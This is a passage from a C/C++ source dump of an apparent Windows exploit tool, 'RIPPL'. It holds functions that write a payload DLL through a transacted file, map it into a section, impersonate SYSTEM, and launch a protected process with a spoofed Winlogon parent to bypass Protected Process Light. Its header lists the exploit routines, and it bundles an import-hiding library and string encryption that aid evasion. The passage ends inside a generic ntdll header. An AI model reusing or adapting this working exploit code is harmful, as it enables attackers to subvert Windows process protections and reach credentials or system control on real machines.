PRINTLASTERROR(L"NtOpenSymbolicLinkObject");
goto end;
}
target.Buffer = pwszTargetLocal;
target.Length = 0;
target.MaximumLength = MAX_PATH * sizeof(WCHAR);
status = LI_FN(NtQuerySymbolicLinkObject)(hLink, &target, &length);
SetLastError(LI_FN(RtlNtStatusToDosError)(status));
if (status != 0)
{
PRINTLASTERROR(L"NtQuerySymbolicLinkObject");
goto end;
}
bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;
end:
if (pwszLinkName)
LocalFree(pwszLinkName);
if (pwszTargetLocal)
LocalFree(pwszTargetLocal);
if (hLink)
CloseHandle(hLink);
return bReturnValue;
}
_Success_(return)
BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)
{
BOOL bReturnValue = FALSE;
OBJECT_ATTRIBUTES oa = { 0 };
UNICODE_STRING sectionName = { 0 };
NTSTATUS status = 0;
HANDLE hSection = NULL;
HANDLE hDllTransacted = NULL;
if (!WritePayloadDllTransacted(&hDllTransacted))
goto end;
LI_FN(RtlInitUnicodeString)(§ionName, pwszSectionName);
InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
//
// According to the documentation, the SEC_IMAGE attribute must be combined with the page
// protection value PAGE_READONLY. But the page protection has actually no effect because the
// page protection is determined by the executable file itself.
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga
//
status = LI_FN(NtCreateSection)(&hSection, SECTION_ALL_ACCESS, &oa, nullptr, PAGE_READONLY, SEC_IMAGE, hDllTransacted);
if (status != STATUS_SUCCESS)
{
SetLastError(LI_FN(RtlNtStatusToDosError)(status));
PRINTLASTERROR(L"NtCreateSection");
goto end;
}
*phSection = hSection;
bReturnValue = TRUE;
end:
if (hDllTransacted)
CloseHandle(hDllTransacted);
return bReturnValue;
}
_Success_(return)
BOOL UnmapDll(_In_ HANDLE hSection)
{
NTSTATUS status = 0;
status = LI_FN(NtClose)(hSection);
if (status != STATUS_SUCCESS)
{
SetLastError(LI_FN(RtlNtStatusToDosError)(status));
PRINTLASTERROR(L"NtClose");
return FALSE;
}
return TRUE;
}
_Success_(return)
BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine)
{
auto pplBinary = skCrypt(L"services.exe").decrypt();
BOOL bReturnValue = FALSE;
const size_t size = 32767;
LPWSTR pwszSystemDirectory = NULL;
*ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR));
if (!*ppwszCommandLine)
goto end;
pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszSystemDirectory)
goto end;
GetSystemDirectory(pwszSystemDirectory, MAX_PATH);
StringCchPrintfW(*ppwszCommandLine, size, skCrypt(L"%ws\\%ws %d %d %d \"%ws\" %ws"), pwszSystemDirectory, pplBinary, LI_FN(GetCurrentProcessId)(), dwProcessId, g_intExecutionMode, pwszFilePath, pwszRandomGuid);
if (g_bDebug)
StringCchCatW(*ppwszCommandLine, size, skCrypt(L" -d"));
bReturnValue = TRUE;
end:
if (pwszSystemDirectory)
LocalFree(pwszSystemDirectory);
return bReturnValue;
}
_Success_(return)
BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess)
{
STARTUPINFOEXW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize = 0;
HANDLE hProcess = NULL;
HANDLE parentProcessHandle;
DWORD winlogonPid = 0;
ZeroMemory(&si, sizeof(STARTUPINFOEXW));
si.StartupInfo.cb = sizeof(si);
if (!ProcessGetPIDFromName(skCrypt(L"Winlogon.exe"), &winlogonPid))
{
PRINTLASTERROR(L"ProcessGetPIDFromName");
return false;
}
else PRINTDEBUG(L"[*] Found Winlogon.exe process with PID %d\n", winlogonPid);
parentProcessHandle = LI_FN(OpenProcess)(MAXIMUM_ALLOWED, FALSE, winlogonPid);
if (!parentProcessHandle)
{
PRINTLASTERROR(L"OpenProcess in CreateProtectedProcessAsUser");
return false;
}
InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
if (!si.lpAttributeList)
{
PRINTLASTERROR(L"HeapAlloc in CreateProtectedProcessAsUser");
return false;
}
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr);
if (!LI_FN(CreateProcessAsUserW)(hToken, nullptr, pwszCommandLine, nullptr, nullptr, TRUE, CREATE_PROTECTED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi))
{
PRINTLASTERROR(L"CreateProcessAsUser");
return FALSE;
}
if (pi.hProcess && pi.hThread)
{
*phProcess = pi.hProcess;
CloseHandle(pi.hThread);
return TRUE;
}
else return FALSE;
}
================================================
FILE: RIPPL/exploit.h
================================================
#pragma once
#include "utils.h"
#include "resource.h"
#include <versionhelpers.h>
#ifndef STATUS_INFO_LENGTH_MISMATCH
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40
#endif
extern BOOL g_bDebug;
extern BOOL g_bForce;
_Success_(return) BOOL RunExploit(_In_ DWORD dwProcessId);
_Success_(return) BOOL CheckRequirements();
_Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult);
_Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName);
_Success_(return) BOOL GetPayloadDll(_Out_ LPVOID* ppBuffer, _Out_ PDWORD pdwSize);
_Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath);
_Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile);
_Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);
_Success_(return) BOOL Impersonate(_In_ HANDLE hToken);
_Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount);
_Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken);
_Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken);
_Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget);
_Success_(return) BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection);
_Success_(return) BOOL UnmapDll(_In_ HANDLE hSection);
_Success_(return) BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _In_ int intMode, _Out_ LPWSTR* ppwszCommandLine);
_Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess);
================================================
FILE: RIPPL/lazy_importer.hpp
================================================
#pragma once
#ifndef LAZY_IMPORTER_HPP
#define LAZY_IMPORTER_HPP
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#define LI_FN_DEF(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), name>()
#define LI_MODULE(name) ::li::detail::lazy_module<LAZY_IMPORTER_KHASH(name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
#define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \
::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 ))
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return (pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return static_cast<unsigned int>(
(value ^ ((CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) *
static_cast<unsigned long long>(16777619));
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded(
const char* str, unsigned offset) noexcept
{
forwarded_hashes res{ offset, offset };
for (; *str != '.'; ++str)
res.module_hash = hash_single<true>(res.module_hash, *str);
++str;
for (; *str; ++str)
res.function_hash = hash_single(res.function_hash, *str);
return res;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
#if defined(_M_X64) || defined(__amd64__)
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
#elif defined(_M_IX86) || defined(__i386__)
return reinterpret_cast<const win::PEB_T*>(__readfsdword(0x30));
#elif defined(_M_ARM) || defined(__arm__)
return *reinterpret_cast<const win::PEB_T**>(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#elif defined(_M_ARM64) || defined(__aarch64__)
return *reinterpret_cast<const win::PEB_T**>(__getReg(18) + 0x60);
#elif defined(_M_IA64) || defined(__ia64__)
return *reinterpret_cast<const win::PEB_T**>(static_cast<char*>(_rdteb()) + 0x60);
#else
#error Unsupported platform. Open an issue and I'll probably add support.
#endif
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
unsigned long _ied_size;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return reinterpret_cast<const char*>(
_base + reinterpret_cast<const unsigned long*>(
_base + _ied->AddressOfNames)[index]);
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept
{
value = head->load_order_next();
}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e((const detail::win::LDR_DATA_TABLE_ENTRY_T*)(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept
{
auto& cached = lazy_base<lazy_module<OHP>>::_cache();
if (!cached)
cached = in(ldr);
return (T)(cached);
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept
{
detail::win::UNICODE_STRING_T name;
forwarded_hashes hashes{ 0, get_hash(OHP) };
Enum e;
do {
name = e.value->BaseDllName;
name.Length -= 8; // get rid of .dll extension
if (!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) {
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) {
const auto addr = exports.address(export_index);
if (exports.is_forwarded(addr)) {
hashes = hash_forwarded(
reinterpret_cast<const char*>(addr),
get_offset(OHP));
e.reset();
break;
}
return (F)(addr);
}
}
}
} while (e.next());
return {};
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept
{
return forwarded<F, safe_module_enumerator>();
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept
{
auto& value = base_type::_cache();
if (!value)
value = forwarded<void*, Enum>();
return (F)(value);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept
{
return forwarded_cached<F, safe_module_enumerator>();
}
template<class F = T, bool IsSafe = false, class Module>
LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept
{
if (IsSafe && !m)
return {};
const exports_directory exports((const char*)(m));
if (IsSafe && !exports)
return {};
for (unsigned long i{};; ++i) {
if (IsSafe && i == exports.size())
break;
if (hash(exports.name(i), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(i));
}
return {};
}
template<class F = T, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept
{
return in<F, true>(m);
}
template<class F = T, bool IsSafe = false, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept
{
auto& value = base_type::_cache();
if (!value)
value = in<void*, IsSafe>(m);
return (F)(value);
}
template<class F = T, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept
{
return in_cached<F, true>(m);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt() noexcept
{
return in<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept
{
return in_safe<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept
{
return in_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept
{
return in_safe_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
}
};
}
} // namespace li::detail
#endif // include guard
================================================
FILE: RIPPL/ntdll.h
================================================
/*****************************************************************************/
/* Ntdll.h Copyright (c) Ladislav Zezula 2005 */
/*---------------------------------------------------------------------------*/
/* Header file for the import library "Ntdll.lib" */
/* */
/* This library has been created because of never-ending problems when */
/* Ntdll.lib from Windows DDK with SDK libs (duplicate symbols, linker */
/* errors etc). */
/* Now, it is possible to use native NT API with no problems, all you need */
/* is just to include this header file */
/*---------------------------------------------------------------------------*/
/* Date Ver Who Comment */
/* -------- ---- --- ------- */
/* 15.05.03 1.00 Lad The first version of Ntdll.h */
/* 16.09.05 2.00 Lad Far more functions */
/*****************************************************************************/
#include <Windows.h>
#ifndef __NTDLL_H__
#define __NTDLL_H__
#ifdef __cplusplus
extern "C" {
#endif
#ifdef _NTDDK_
#error This header cannot be compiled together with NTDDK
#endif
#ifndef _NTDLL_SELF_ // Auto-insert the library
#pragma comment(lib, "Ntdll.lib")
#endif
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
//------------------------------------------------------------------------------
// Defines for NTSTATUS
#ifdef _Return_type_success_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
#else
typedef LONG NTSTATUS;
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif
#ifndef ASSERT
#ifdef _DEBUG
#define ASSERT(x) assert(x)
#else
#define ASSERT(x) /* x */
#endif
#endif
#ifndef DEVICE_TYPE
#define DEVICE_TYPE DWORD
#endif
//-----------------------------------------------------------------------------
// Definition of intervals for waiting functions
#define ABSOLUTE_INTERVAL(wait) (wait)
#define RELATIVE_INTERVAL(wait) (-(wait))
#define NANOSECONDS(nanos) \
(((signed __int64)(nanos)) / 100L)
#define MICROSECONDS(micros) \
(((signed __int64)(micros)) * NANOSECONDS(1000L))
#define MILISECONDS(mili) \
(((signed __int64)(mili)) * MICROSECONDS(1000L))
#define SECONDS(seconds) \
(((signed __int64)(seconds)) * MILISECONDS(1000L))
//------------------------------------------------------------------------------
// Structures
#ifndef _NTDEF_
typedef enum _EVENT_TYPE
{
NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
//
// ANSI strings are counted 8-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
//
typedef struct _STRING
{
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} STRING, *PSTRING;
//
// Unicode strings are counted 16-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
//
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//
// bitmap type
//
typedef struct _RTL_BITMAP
{
ULONG SizeOfBitmap;
PULONG Buffer;
} RTL_BITMAP, *PRTL_BITMAP;
//
// preallocated heap-growable buffers
//
typedef struct _RTL_BUFFER
{
PUCHAR Buffer;
PUCHAR StaticBuffer;
SIZE_T Size;
SIZE_T StaticSize;
SIZE_T ReservedForAllocatedSize; // for future doubling
PVOID ReservedForIMalloc; // for future pluggable growth
} RTL_BUFFER, *PRTL_BUFFER;
//
// A preallocated buffer that is "tied" to a UNICODE_STRING
//
typedef struct _RTL_UNICODE_STRING_BUFFER
{
UNICODE_STRING String;
RTL_BUFFER ByteBuffer;
UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)];
